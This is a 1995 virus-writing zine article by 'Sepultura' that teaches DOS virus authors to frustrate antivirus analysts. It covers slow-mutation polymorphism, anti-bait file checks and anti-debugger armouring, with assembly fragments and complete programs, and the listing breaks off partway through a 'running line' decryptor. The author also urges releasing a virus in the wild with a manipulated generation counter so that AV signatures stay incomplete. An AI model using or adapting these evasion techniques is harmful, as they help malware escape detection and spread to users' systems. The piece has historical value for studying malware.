Insane Reality issue #7 - (c)opyright 1995 Immortal Riot               File 004 


% Article by Sepultura %

------------------------

Here's a kinda cool/long article written by our friend Sepultura. 
All hail the holy contributor and read his text!



- The Unforgiven.



                     POST - DISCOVERY - STRATAGIES

                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                              By Sepultura



                   -USE-ANARCHY-TO-GET-WHAT-YOU-WANT-



                              Introduction

                              ~~~~~~~~~~~~



        Most virii these days, take many Pre-Discovery precautions. This 
simply means that they take precautions to avoid discovery, assuming the 
virus has not already been discovered.  Common examples of Pre-Discovery 
Stratagies are  File Stealth,  Sector Stealth,  and MCB stealth (i.e any 
stealth).  These mechanisms are used to stop the virus being discovered, 
but once it has been discovered,  and is in the hands of the AV, they're 
essentially useless. It is only a matter of days (or even hours) until a 
suitable scan string or algorithm has been determined,  for inclusion in 
to there AV programs.



        There is how ever, a solution: POST DISCOVERY STRATAGIES.  These 
are mechanisms  that instead of serving the  purpose of hiding the virus 
from detection, make the virus harder to analyse,  and hence determine a 
scan string or detection algorithm.  To be entirely honest, the previous 
statement is not completely correct - in order to take advantage of  any 
of these methods your virus can not have a scan string - without atleast 
polymorphism, Post Discovery Stratagies ARE USELESS.  This document will 
be divided in to three main sections:   Polymorphism

                                        Anti-Bait Techniques 
                                        Anti-Debugger Techniques. 


        I have decided to do it in that particular order,  as it follows 
my master scheme,  which in my  opinion takes maximum advantage of  Post 
Discovery Stratagies, and which I will outline throughout this document. 


        I have supplied example code fragments throughout this document, 
several full programs in the Anti - Debugger section,  as well as a bait 
maker in the Anti-Bait section, so you can test your Anti-Bait routines. 




                              Polymorphism

                              ~~~~~~~~~~~~



                   -I-USED-THE-ENEMY-I-USED-ANARCHY-



        This section  is not  intended to  tell you  what a  polymorphic 
engine is,  nor  will it tell you  how to code one.  If  you do not know 
either of these, you should read this when you do,  or alternatively you 
could read this,  and take the explained methods in to account  when you 
do code one.



        The thing  you have  to remember  is that  the AV people need to 
devise an alogrithm that will detect near to 100% of their samples,  but 
at the same time, have only a small number of false positives. Your job, 
is ofcourse, to stop them from doing this.



                         Polymorphism: The Obvious

                         ~~~~~~~~~~~~~~~~~~~~~~~~~

        One of the most obvious  things that would you help in your Post 
Discovery Stratagies, is to make the decryptors and junk as varied as is 
possible. This way, they cannot use an algorithm that traces through the 
code, and concludes that the file is not infected, as soon as an  opcode 
is encounted that can't be generated by your engine. What might not seem 
to obvious, is that although your engine should be able to CREATE a wide 
variety of junk instructions,  it should not USE a  wide variety of junk 
instructions in each decryptor.  This might seem strange,  but it can be 
very useful in delaying the AV's efforts.  This is because there are two 
methods that the AV will use to analyse your engine:



       1. They will disassemble the virus and analyse the engine, to see 
       what it can generate in all possible cases.



       2. They will infect 10s of thousands of bait files to see what it 
       generates in all possible cases.





        The first of these can be countered by keeping the actual engine 
encrypted,  independently of the virus,  and then  keeping the decryptor 
protected  -  using the  methods outlined in  Section 3 (Anti - Debugger 
Techniques).



        The  second  method can be  countered using the  techniques that 
will be discussed in this section (Polymorphism), and Section 2  (Anti - 
Bait Techniques).



        By  using only a very small variety of the large number of  junk 
instructions  that your engine can generate,  when the AV people look at 
the sample bait files,  they will only see a small selection of the junk 
that your virus can really create. Because your polymorphic engine is so 
heavily encrypted / armoured, they will not have time to disassemble it, 
and will have to make their judgements based on the bait files. However, 
since the decryptors will only have  a limited selection of all possible 
cases,  they could easilly make the mistake of basing their algorithm on 
just those decryptors,  and release an incomplete algorithm.  Of  course 
they will not realise their mistake until it is to late.  Let us look at 
the following code as an example:



------------------------------------------------------------------------ 
;Please note that this is simply a code fragment.  junk? are supposed to 
;be sub-procedures that create different junk opcodes, while get_rand is 
;supposed  to  be  a sub-procedure  that returns a  random number  in AX 
;between 0 and AX. It is assumed that ES = DS = CS.



choose_junk_routines:

        mov     cx,5                    ;This code should be run only once, 
        mov     ax,0Ah                  ;when the virus installs it self TSR. 
        call    get_rand                ;It will select 5 out of 15 junk 
        add     ax,ax                   ;routines to call for the decryptors. 
        xchg    si,ax                   ;Because it is only run once, all 
        add     si,offset main_junk_tbl ;decryptors will only use those junk 
        mov     di,offset junk_tbl      ;routines 'til the system is rebooted 
        rep     movsw                   ;and the virus re-installed. 


        ...



main_junk_tbl:                          ;This is a table, listing all 
        dw      offset junk0            ;possible junk routines. 
        dw      offset junk1

        dw      offset junk2

        dw      offset junk3

        dw      offset junk4

        dw      offset junk5

        dw      offset junk6

        dw      offset junk7

        dw      offset junk8

        dw      offset junk9

        dw      offset junkA

        dw      offset junkB

        dw      offset junkC

        dw      offset junkD

        dw      offset junkE



junk_tbl:                               ;This is a table, to store the 5 junk 
        dw      0,0,0,0,0               ;routines to actually be used. 


        ...



put_junk:

        mov     ax,4                    ;This routine when, called will 
        call    get_rand                ;generate 1 junk instruction. 
        add     ax,ax                   ;It will call 1 of the 5 routines 
        xchg    si,ax                   ;stored in junk_tbl. 
        lodsw

        call    ax

        ret

------------------------------------------------------------------------ 


        The above code fragment,  will ensure that all files infected in 
any 1 session, will only use 5 out of the 15 possible junk instructions. 


                       Polymorphism: Slow Mutation

                       ~~~~~~~~~~~~~~~~~~~~~~~~~~~

        The above techniques work well,  but can be even more effective, 
when used in conjucntion  with slow mutation.  Slow  Mutation  basically 
means that instead of making certain descisions based on random numbers, 
you  make the  descisions based on  relatively static values.  The  most 
common values used for this, are from the date (i.e. the month or day of 
the  month).  For  example,  let  us imagine  that  the  sub - procedure 
'choose_junk_routines' in the previous example, was replaced with this: 


------------------------------------------------------------------------ 
choose_junk_routines:

        mov     ah,2a                   ;ah=2a/i21 (get system date) 
        int     21

        mov     dl,0

        xchg    dh,dl

        xchg    dx,ax

        cwd                             ;ax=month, dx=0

        mov     cx,6

        div     cx                      ;divide month by 6 
        xchg    dx,ax                   ;ax = remainder (i.e. 0 - 5) 
        add     ax,ax

        xchg    si,ax

        add     si,offset main_junk_tbl

        mov     di,offset junk_tbl

        mov     cx,5

        rep     movsw

------------------------------------------------------------------------ 


        The advantage of using this method, is that the same set of five 
junk routines will be used for a ENTIRE MONTH. With the previous example 
if the AV was to make some bait files, and look at them,  and think that 
your virus only generated five different junk instructions, and then ran 
the bait maker again, another time,  after resetting the system,  he/she 
would get bait file with (probably) a different set of junk instructions 
in the decryptor. Because of this, he/she would probably catch on.  This 
is important to note, because they will have to make a set of bait files 
to devise the algorithm,  and then at least  another set to test it.  If 
you based the 5 instructions on the month, and armoured the choose_junk_ 
routines procedure, then they would get the same 5 instructions, because 
they would be all produced in the same month, and would not easily catch 
on.  Other things you should base upon  slow mutation techniques include 
things such as what registers to use,  the looping method,  the encrypt/ 
decrypt method, and the length of the decryptor. This way,  they have to 
reboot the computer each time,  and set a new date,  to see all possible 
combinations. Consisdering there are thousands of  bait file to be made, 
this also means that there are thousands of resets to be done! 


        Another thing you could base slow mutation descisions on,  is  a 
generation counter.  This is very effective,  because if the AV runs  an 
infected file,  and then because the virus is  TSR  in memory,  runs the 
bait creator, to create some infected samples, all the infected samples, 
will be of the same generation.  Even if the AV people think of changing 
the date, the fact that the virus changes some aspects of itself on each 
generation, will not be so obvious. This is especially true if the virus 
makes the changes on,  say every fourth generation,  instead of each and 
every generation. For example:



------------------------------------------------------------------------ 


        inc     cs:word ptr generation  ;This should be run once, 
                                        ;at installation.



        ...



;This sub-procedure will choose what method to use to decrement the 
;count register. It will choose one of the 8 possible procedures to 
;call from the "decrement_tbl" table. Instead of choosing a method at 
;random, it divdes the generation by 8, and then takes the modulos of 
;(GENERATION / 8) / 8, to choose which procedure to use. In short, the 
;decrement method will only change every 8th generation. The AV do not 
;spend enough time to see all possible methods, as they would have to 
;look at 64 different generations. They will most likely look at only 
;one or two.



choose_decrement_method:

        mov     ax,0

generation      equ     $-2             ;Generation counter starts at 0 


        shr     ax,3                    ;Divide Generation count by 8 
        and     ax,7                    ;get number between 0 and 7 
        add     ax,ax

        xchg    si,ax

        add     si,offset decrement_tbl

        lodsw

        call    ax

        ret



        ...



decrement_tbl:                          ;this is supposed to be a table of 
        dw      offset code_dec_reg     ;all the possible procedures you can 
        dw      offset code_sub_reg_1   ;use to decrement the count register. 
        dw      offset code_add_reg_negative_1

        dw      offset code_clc_sbb_reg_1

        dw      offset code_stc_sbb_reg_0

        dw      offset code_clc_adc_reg_negative_1

        dw      offset code_stc_adc_reg_negative_2

        dw      offset code_inc_dec_dec_reg

------------------------------------------------------------------------ 


        Of course,  you do not have to base  something as trivial as the 
method of decrement on the  generation counter,  and could  instead base 
something more important like the actual method of decryption on it. 


        Also,  if you wanted to be really sly  (and I know you do),  you 
could use the above method, but then release the virus in the wild, with 
its generation counter set to something like 16.  This way,  no one will 
see the first 2 methods,  until the generation counter has carried over. 
About a week after releasing it, you could release it somewhere else, so 
that the AV people will get the first specimen, and their algorithm will 
be missing the first two methods, while the second infection you release 
can have the counter  set to 0,  so that the decryptors  using the first 
two methods will be in the wild,  and will spread, before the AV realise 
their mistake.



        Another thing you could base your slow poly on,  is the file you 
are infecting.  For example,  let us imagine you based the above example 
on the SIZE of the file to be infected, divided by 1000, rather then the 
GENERATION divided by 8.  Since the bait files  will be of  the same  or 
similar size, little to no change will be seen. If a different file of a 
different size was infected however,  you would have a totally different 
decryptor!



                Polymorphism: Make No Two Conditions Dependant 
                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
        One of the biggest mistakes you could make when coding an engine 
is making two conditions dependant on the same thing. For example let us 
imagine that you made both the  index register used,  and the decryption 
method used  dependant on the month. This could possibly mean, that when 
XOR encryption is used, you can guarantee BX is the index register,  and 
when ADD is used SI will be the index register. This way,  all they have 
to do is check for a  XOR [SI],?? instruction or a ADD [BX],??.  If  you 
made this mistake,  and had four index registers,  and  four  decryption 
methods,  the scanner need only to check for four possible instructions. 
However,  if these were decided  on totally  independant criteria,  they 
would have to check for 16 different instructions, increasing the chance 
of false positives. For another example, let us look at the following: 
------------------------------------------------------------------------ 


code_jmp:       mov     ax,3f           ;this code will generate a random 
                call    get_rand        ;conditional jump, to a random offset 
                mov     ah,al           ;between 0 adn 3f bytes from the 
                or      al,70           ;jump. Note that the conditional 
                stosw                   ;jumps are 70h -> 7fh. 
------------------------------------------------------------------------ 


        The above example will always generate,  a working,  conditional 
jump. It does however have a fairly obvious flaw.  If the jump opcode is 
70h then the offset of the jump will be 0, 10h, 20h, or 30h. If the jump 
opcode is 70h then the offset of the jump will be 1, 11h,  21h,  or 31h. 
This will remain true for all of 70h to 7fh. This is very dangerous,  as 
a scanner could something like this in its algorithm:

------------------------------------------------------------------------ 


;This code fragment, is assumed to be part of a scanner that is tracing 
;through the code it scans. It is assumed that DS:SI points to the current 
;instruction being processed.



                lodsw

                cmp     al,70

                jb      not_cond_jmp

                cmp     al,7f           ;checks if we are dealing with a 
                ja      not_cond_jmp    ;conditional jump. 


                and     ax,0f0f         ;If the jump was generated with the 
                cmp     al,ah           ;above example, AL will always = AH. 
                jne     file_not_infected



not_cond_jmp:

------------------------------------------------------------------------ 


        As you can see,  if many things are dependant on each other,  an 
algorithm could be used that uses techniques like the above,  and if all 
rules are followed, safely assume the file was infected.  To  avoid  the 
above check, the conditional jump coder should be something like this: 
------------------------------------------------------------------------ 


                mov     ax,3f

                call    get_rand

                mov     bl,al

                mov     al,0f

                call    get_rand

                or      al,70

                mov     ah,bl

                stosw

------------------------------------------------------------------------ 


        As you can see, in the above example, the  offset of the jump is 
totally independant of the jumps opcode.  This will  make the  detection 
algorithm alot harder to devise.



                          Anti-Bait Technique

                          ~~~~~~~~~~~~~~~~~~~



                          -HATE-YOUR-ENEMIES-



        By using the methods  explained in the previous section,  we can 
safely  say that the  AV can not  simply set the bait  maker to generate 
10,000  bait files,  with the virus in memory,  and get an  accurate and 
complete of what is necessary. Instead they must use many varying files, 
reboot the system thousands of times to change the date, and fiddle with 
the generation counter,  which will significantly slow things down.  But 
let us take  things a step further:  let us imagine that the virus won't 
even infect the  files in the first place.  This  would  simply  involve 
putting  the candidate file  through a number of tests,  and if it fails 
any of them,  saying the file  could be a bait,  and not infecting them. 
This section simply looks at what some of these test could entail. 


                   Anti-Bait Techniques: The Obvious

                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        The are two very obvious and easy test your virus _SHOULD_ have: 


                1. It should not infect new files.

                2. It should not infect small files.



        New files should not be infected, as the files created by a bait 
maker will usually look new.  Simply grab the current date,  and compare 
it to the date stamp of the file. It is the same? Well then dont infect! 
It should be noted that this is easilly defeated, if the bait maker sets 
the files date stamp to a random date, before closing it.



        The files created by bait makers,  will usually be fairly small, 
so small files should be avoided. I would recommend that you avoid files 
smaller then between 5,000 and 10,000 bytes.  The smaller you make  this 
limit,  the less chance  there is that a legitimate file will be wrongly 
be left uninfected, but it is also more likely that a bad bait file will 
wrongly be infected. By making the limit larger,  the greater the chance 
there is that a legitimate file will be wrongly be left uninfected,  but 
its also more likely that a bait file will correctly be left uninfected. 
High limit or Low limit? The choice is yours... This  could  easilly  be 
defeated if the bait maker created files which were, say,  50,000 bytes. 
This size is obviously far to large to avoid, as it is larger then  many 
legitimate programs.  You should also remember however that 10,240 files 
at 5,000 bytes will use 52 megabytes,  so if the bait files were  50,000 
bytes long, this figure would go upto 520 megabytes! Most test computers 
do not have such lard hard drives, so it is safe to assume that the bait 
files will be small.



        As the above two methods are so easy to implement,  I  will  not 
bother to supply any example code.





                Anti-Bait Techniques: Avoid Digital File Names 
                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
        Most bait makers  create filenames like '00000000.com'  followed 
by '00000001.com'. All the file are names composed of the characters '0' 
to '9'.  We could have a check in our virus,  to ensure that this is not 
true, and if it is, not infect the file, as shown below:

------------------------------------------------------------------------ 


;This code avoids file names composed entirely of digits. It is assumed 
;that the file has already been opened, and that its file handle is in 
;BX. get_sft_bx is assumed to be a sub-procedure that returns ES:DI pointing 
;to the SFT entry of the handle in BX (the file to be infected). 


        call    get_sft_bx

        mov     si,di

        add     si,20           ;File names in at offset 20h of SFT 
        mov     cx,8            ;8 characters in name (padded with spaces) 
        cld                     ;increment SI on LODSB



check_name:

        es:lodsb

        cmp     al,'0'

        jb      name_safe

        cmp     al,'9'

        ja      name_safe       ;character is not digit, so it is safe 


        cmp     al,20           ;check for space if equal, end of name has 
        je      not_safe        ;been reached, with only digits encounters. 
                                ;which means it is possibly bait. 


        loop    check_name      ;check next character



not_safe:

        jmp     exit_infect     ;end of name reached with only digits so 
                                ;do not infect



name_safe:



------------------------------------------------------------------------ 


        This method  could easilly be defeated by  using file names like 
'AAAAAAAA.COM' instead of '00000000.com'.



          Anti-Bait Techniques: Avoid Consecutive File Names 
          ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
        Many people consider this method overkill,  but it is  extremely 
effective,  if you are serious about your Post-Discovery-Stratagies.  It 
works by checking if the currents file to be infected, has a consecutive 
file name of the previous filename. For example, if the previous file to 
be infected was called 'AAAAAAAA.COM' you would not infect the next file 
if it was called 'AAAAAAAB.COM'. The easiest way to do this, is save the 
sum of the characters of the file name.  If the next file is consecutive 
to it, the sum will be the sum of the previous one + 1. i.e: 


        'AAAAAAAA' = 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'A' 
                   =  208h



        'AAAAAAAB' = 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'B' 
                   =  209h



        Therefore, of the filename of your candidate file, and use it to 
check if the  next file  to be infected is consecutive.  If it is do not 
infect! Example:

------------------------------------------------------------------------ 


;This code avoids infecting files with consecutive filenames. It is assumed 
;that the file has already been opened, and that its file handle is in 
;BX. get_sft_bx is assumed to be a sub-procedure that returns ES:DI pointing 
;to the SFT entry of the handle in BX (the file to be infected). 


        call    get_sft_bx

        mov     si,di

        add     si,20           ;File names in at offset 20h of SFT 
        mov     cx,8            ;8 characters in name (padded with spaces) 
        cld                     ;increment SI on LODSB

        xor     bx,bx

        mov     ah,0



check_consecutive:

        es:lodsb

        cmp     al,20           ;check for space

        je      end_cc          ;if space, end of name rached 
        add     bx,ax           ;add character to sum

        loop    check_consecutive



end_cc: mov     ax,cs:last_sum  ;the sum of the last filename 
        mov     cs:last_sum,bx  ;save the sum of this file name for next time 
        inc     ax

        cmp     ax,bx

        je      dont_infect





------------------------------------------------------------------------ 


        The above code is fairly lengthy,  and messy, but it works!  You 
should also not infect a file,  if it is the same length as the previous 
file,  for obvious reasons.  This code could by defeated by incrementing 
filename by values other then 1,  or even by incrementing it by a RANDOM 
amount each time.



        To help you test your Anti-Bait code, I have put together a Bait 
Generator (Sepultura's Funky Bait Maker), which can be modified to  show 
how each of the above methods are defeated. Here is the complete source: 
------------------------------------------------------------------------ 


;SFBM.ASM compile with A86

;This is a bait maker that in its original state, will fail to defeat all 
;of the above mentioned techniques. However, by making the modifications 
;described through out the code, all of the above techniques will fail 
;miserably.



;By changing the Below EQUates, and (un)commenting certain code below, you 
;can test the various technique described above, as well as any other Anti- 
;Bait Technique you think off..



number_of_files equ     200             ;number of bait files to genrate 


file_length     equ     5000            ;length of bait file. Change this to 
                                        ;catchout virii that do not infect 
                                        ;small files. (minimum 38, maximum 
                                        ;65,279).



first_character equ     '0'             ;Changing these two equates to 'A' to 
last_character  equ     '9'             ;'Z' will fool virii that check if 
                                        ;the filename is entirely numbers.. 


character_range equ     (last_character - first_character)+1 ;This is used 
                                                        ;to calculate the 
                                                        ;filename.. 


        radix   16



        org     100



        mov     ds,cs

        mov     ah,9

        mov     dx,offset gen_msg       ;prints intro message.. 
        int     21



        mov     cx,number_of_files      ;200 bait files



file_loop:

        push    cx

        mov     dx,offset filename

        xor     cx,cx

        mov     ax,3c02                 ;CREATE/TRUNCATE "filename" 
        int     21

        mov     bx,ax                   ;BX = Handle. I used a MOV, so 
                                        ;AH stays = to 0



        mov     dx,offset bait

        mov     cx,file_length          ;file is 5000 bytes long 


        ;Uncomment the IN, and ADD below, so the length of the bait becomes 
        ;between FILE_LENGTH and (FILE_LENGTH + 255). This is to catchout 
        ;virii that wont infect a file if its the same size as the last file. 
        ;in     al,40

        ;add    cx,ax



        mov     ah,40                   ;Write Bait Program to file.. 
        int     21



        ;Uncommenting the below CALL, will cause SFBM to set each file 
        ;to a random date, before closing, avoiding virii which dont 
        ;infect new files.

        ;call    set_date



        pop     cx



        mov     ah,3e                   ;Closes the file.. 
        int     21



        push    ds

        mov     ax,4b00                 ;This calls a execute of "filename" 
                                        ;i have set up no parameter tables, 
                                        ;so it will not actually execute, but 
                                        ;the virus will intercept and infect. 
        mov     dx,offset filename

        int     21

        pop     ds



        mov     ah,9

        mov     dx,offset done          ;prints:

        int     21                      ;DONE: XXXXXXXX.COM 


        std

        mov     si,offset units

        mov     di,si



next_character:

        mov     dl,1                    ;Add 1 to file name characters. 
                                        ;(00000000 -> 00000001) etc.. 


        ;Uncommenting the code  below, will cause SFBM to add between 
        ;2 and 5 to the file name characters. This will avoid virii that 
        ;check for consecutive file names, as they are not incrementing by 
        ;1 each time.

        ;cmp     si,offset units        ;Are we modifying a character other? 
        ;jne     not_unit               ;If not, only add 1 to the character 
        ;in     al,40

        ;and    al,3                    ;Choose amount between 2 and 5 to 
        ;add    dl,al                   ;add..

        ;inc    dx



not_unit:

        lodsb

        add     al,dl                   ;Calculate Next File Name (increment) 
        cmp     al,last_character + 1   ;Has it overflowed past 
        jb      no_more_increase        ;last_character? If not continue.. 


        sub     al,character_range      ;else bring it back into range, 
        ds:stosb

        jmp     short next_character    ;increment next char, and check for 
                                        ;overflow...



no_more_increase:

        ds:stosb

        loop    file_loop       ;Do Next File (CX times)



        mov     ah,4c

        int     21



set_date:                       ;Sub Procedure gives file random Date & Time. 
        in      ax,40           ;calculates the Year for Date stamp 
        and     ax,0f

        xchg    dx,ax

        shl     dx,9



get_month:                      ;calculates the Month for Date stamp 
        in      ax,40

        and     ax,0f

        cmp     ax,0c

        ja      get_month

        or      ax,ax

        jz      get_month

        shl     ax,5

        or      dx,ax



get_date:                       ;calculates the Day of Month for Date stamp 
        in      ax,40

        and     ax,1f

        or      ax,ax

        jz      get_date

        or      dx,ax           ;DX = DATE



get_secs:                       ;calculates seconds of the Time Stamp 
        in      ax,40

        and     ax,1f

        cmp     ax,1d

        ja      get_secs

        xchg    cx,ax



get_minuits:                    ;calculates minuits of the Time Stamp 
        in      ax,40

        and     ax,3f

        cmp     ax,3b

        ja      get_minuits

        shl     ax,5

        or      cx,ax



get_hours:                      ;calculates hours of the Time Stamp 
        in      ax,40

        and     ax,1f

        cmp     ax,17

        ja      get_hours

        shl     ax,0b

        or      cx,ax           ;CX = TIME



        mov     ax,5701         ;set DATE/TIME stamp

        int     21

        ret



gen_msg         db      "- Sepulturas Funky Bait Maker -",0a,0d 
                db      "Generating Funky Bait Files...",0a,0d,"$" 


done            db      "DONE: "

filename        db      7 dup (first_character)

units           db      first_character

                db      ".COM"

                db      0,0d

                db      "$"



;This is the .COM program that will be at the start of each Bait file. 
;It is 38 bytes long. The rest of the file will just be padded with 
;garbage from memory.



bait:   call    bait_b

        db      'Sepulturas Funky Bait File!$'

bait_b: pop     dx      ;DX = offset of bait message

        mov     ah,9

        int     21      ;print message

        int     20      ;exit



;END SFBM.ASM

------------------------------------------------------------------------ 


        The above Bait Maker can be very useful,  to test your Anti-Bait 
techniques. It is also quite useful, for its orginal purpose - analysing 
virii. Use it for either - AV - VX - they're all the same to me. 


                      Anti-Debugger Techniques

                      ~~~~~~~~~~~~~~~~~~~~~~~~



                -THE-MASTER-HIDES-BEHIND-THE-MASK-



        Ok, now the AV can not even  get your virus to infect their bait 
files,  and if they do finally manage,  they will have great problems in 
getting a complete,  accurate view of what they are dealing with.  There 
is two things they can do:



1. Disassemble your Anti-Bait code,  and create a Bait maker to fool it. 
2. Disassemble your Polymorphic engine, and work out what to look for. 


        Both of  the  above  can  be  defeated  by  using  Anti-Debugger 
Techniques.  The first is defeated by  keeping your Anti - Bait routines 
encrypted, and heavilly armoured, to prevent disassembly. The second can 
be defeated by using the same  methods on your polymorphic engine.  This 
section has been designed to tell you how to do it.



              Anti-Debugger Techniques: The Obvious

              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        There are many simple and trivial ways to thwart debuggers. This 
document will deal mainly with more advanced methods. The simple methods 
outlined in this section can be seen in the code example of  "Using Your 
Anti-Debug Routines as the Decryption Key", later on in this document. 


        Perhaps the most obvious way to kill a debugger, is to overwrite 
the Interrupt Vector  of  Interrupts 1 (Debug Single Step), and 3 (Debug 
Break Point). This can be defeated by simply skipping the instructions. 
Another thing you could do, is place an INT 3 in a long loop, which will 
cause the debugger to stop at the INT 3 each iteration,  which will stop 
the AV from simply proceeding through the loop.  This  is  very  easilly 
defeated by NOP'ing out the INT 3.



        Another thing to do, is turn of the keyboard. There are manyways 
to do this, but the simplest is:        IN      AL,20h ;Turn of Keyboard IRQ 
                                        OR      AL,02

                                        OUT     AL,20







                                        IN      AL,20   ;Enable Keyboard IRQ 
                                        AND     AL,NOT 2

                                        OUT     AL,20



           Anti-Debugger Techniques: Interrupt Replacement 
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
        This technique involves replacing the vector of a  INTERRUPT 1/3 
with the interrupt off another interrupt, and calling that instead. This 
works especially well with INT 3, as it is only 1 byte long, and can not 
simply be replaced with the proper Interrupt. Here is an example of  INT 
replacement from the virus [H8urNMEs].  It changes INT 3 to point to the 
tunneled INT 21, and calls INT 3 for all DOS requests:

------------------------------------------------------------------------ 


        mov     ax,3503

        int     21



        mov     int_3_seg,es

        mov     int_3_off,bx



        lds     dx, site_traced_off

        mov     ax,2503

        int     21



        mov     ds,cs



        mov     ax,3524

        int     3



        mov     int_24_seg,es

        mov     int_24_off,bx

------------------------------------------------------------------------ 


        It simply makes INT 3 point to DOS,  and uses this fact to fetch 
the INT 24 vector.



       Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack 
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 


       When tracing through code,  with INT 1,  the 6 bytes below SP are 
overwritten with the pushed returnig IP, CS, and Flags. There are 2 ways 
to take advantage of this fact.  The first is to PUSH a value on to  the 
stack, POP it, and then adjust SP and POP it again to see if it changes. 
If it has, the code has been traced. Here is an example:

------------------------------------------------------------------------ 


                PUSH    AX

                POP     AX

                DEC     SP

                DEC     SP

                POP     BX              ;BX should point to the pushed AX. 
                CMP     AX,BX

                JNE     CODE_IS_TRACED

------------------------------------------------------------------------ 


        The second  way is to store  a critigal value  like a Decryption 
key in SP. This value should also point to the code, and you should  NOT 
use any stack operations. This way,  if a debugger is running,  the code 
that SP  points to will  be overwritten.  Here is a  complete program to 
illustrate it. To make it run properly,  you must have to encrypt it.  I 
will not how you how.. If you can not work it out you should not even be 
reading this.  It also has the  added advantage of avoiding the TBAV '#' 
(decryptor) flag. Any way here it is:

------------------------------------------------------------------------ 
;STACK.ASM



        radix   16



elength equ     (end - estart)/2



        org     100



        mov     bp,sp

        cli

        mov     sp,estart

        sti



        mov     bx,sp

        mov     cx,elength



eloop:  xor     cs:[bx],sp      ;SP is decryption key.

        inc     bx

        inc     bx              ;If a Debugger is running, 
        cli                     ;All the code after ESTART will be 
        add     sp,6            ;overwritten.

        sti

        loop    eloop



estart:

        cli

        mov     sp,bp

        sti



        mov     ah,9

        mov     dx,offset msg - 12

        add     dx,12

        int     21

        mov     ah,4c

        int     21



msg     db      'Yeah!!$'



end:



------------------------------------------------------------------------ 


 Anti-Debugger Techniques: Use Your Anti-Debug Routines as The Decrypt Key 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~ 
        This is a lot easier to do then it sounds. Basically, all you have 
to do is retreive a byte from the Anti - Debugger routines each time,  and 
use it to modify your decryption routine in some manor. Of course the code 
you are decrypting must have been encrypted in a corresponding manner! Any 
way, here is a code fragment example:

------------------------------------------------------------------------ 


;This code LODSBs a byte from the Anti-Debug routine, on each iteration, 
;and ADDs it to the XOR key. Because of this the AV can not simply NOP 
;out the INT 3, and other traps in the Anti-Debug routine which is called 
;on each iteration! DEC_START is assumed to be the offset of the start of 
;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt. 


                mov     dl,0aa  ;initial key.



decrypt:        mov     di,offset dec_start

                mov     cx,dec_length

                mov     si,offset decrypt       ;offset of code to use 
                                                ;to modify decryption key. 
dec_loop:       lodsb                           ;AL=byte from anti-debug 
                                                ;routines



                add     dl,al                   ;MODIFY KEY. If code has been 
                                                ;modified, the key will be 
                                                ;wrong.



                xor     [di],dl                 ;decrypt

                inc     di



                call    anti_debug              ;kill debuggers. 
                                                ;this call cant be NOP'd out, 
                                                ;as it is part of the Decrypt 
                                                ;key.



                cmp     si,offset end_ad        ;if SI has reached end of 
                jne     no_fix                  ;anti-debug code, reset it. 
                mov     si,offset decrypt



no_fix:         loop    dec_loop



                jmp     dec_start               ;JMP past Anti_Debug to 
                                                ;the newly decrypted code.. 


Anti_Debug:     in      al,20   ;get IRQ status.

                or      al,2    ;Disable IRQ 1 (keyboard)

                out     20,al



                int     3       ;stop the debugger on each loop (you cant 
                int     3       ;NOP these out!), note that when the debugger 
                                ;stops here, the keyboard will be disabled, 
                                ;so the can't do any thing! 




                push    ax

                push    ds

                xor     ax,ax

                mov     ds,ax

                xchg    ax,[4]  ;Kill INT 1

                int     3       ;Fuck with their heads

                xchg    ax,[4]  ;restore INT 1

                pop     ds



                mov     ax,offset ad_jmp        ;destination of JMP 
                push    ax

                pop     ax

                dec     ax

                dec     ax      ;if this code was traced, AX will no longer 
                pop     ax      ;be equal to the JMP destination 
                jmp     ax

                pop     ax

                ret



        (BELOW CODE IS ENCRYPTED)

dec_start:      in      al,20

                and     al,NOT 2

                out     20,al   ;Re-Enable Key board..







------------------------------------------------------------------------ 


                Anti-Debugger Techniques: The Running Line 
                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
        The last method, I am going to illustrate, is called the Running 
Line. It is VERY resistant to debuggers. It involves hooking INT 1,  and 
Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it 
_STRAIGH AFTER_ it has been executed.  This way, only _1_ instruction at 
a time is decrypted in memory. Here is a fully working example. 
------------------------------------------------------------------------ 


;RUNLINE.ASM



        radix   16



        org     100



        xor     ax,ax                   ;ax=0

        mov     es,ax                   ;es=ax=0

        mov     di,es:W[4]

        mov     si,es:W[6]              ;save int 1 vector 
        mov     es:W[4],offset tracer

        mov     es:W[6],cs              ;int1 = cs:tracer

        mov     bp,sp

        pushf

        or      B[bp-1],1               ;set TRACE flag

        popf                            ;set it



        xor     dx,dx                   ;this serves no purpose, and 
                                        ;is just here because the first 
                                        ;instruction after setting the 
                                        ;flag is not traced. 


;**********************************************************************

;** The below data, is the Encrypted instructions. The INT 1 handler ** 
;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the ** 
;** instruction (WORD) with its offset in CS (ie. it's IP when it's  ** 
;** run). Thats why each word is XOR'd with $ (it's position).       ** 
;**********************************************************************



        dw      01f0e   XOR     $       ;PUSH CS / POP DS

        dw      009b4   XOR     $       ;MOV AH,9h

        dw      0ba90   XOR     $       ;NOP / MOV DX,

        dw      offset msg              ;offset msg

        dw      021cd   XOR     $       ;INT 21h

        dw      0e589   XOR     $       ;MOV BP,SP

        dw      06680   XOR     $       ;AND B[BP+,

        dw      0feff                   ;FF],FE (turn off TRACE flag). 


last_enc        equ             $

        dw      0bb9d   XOR     $       ;POPF / MOV BX,

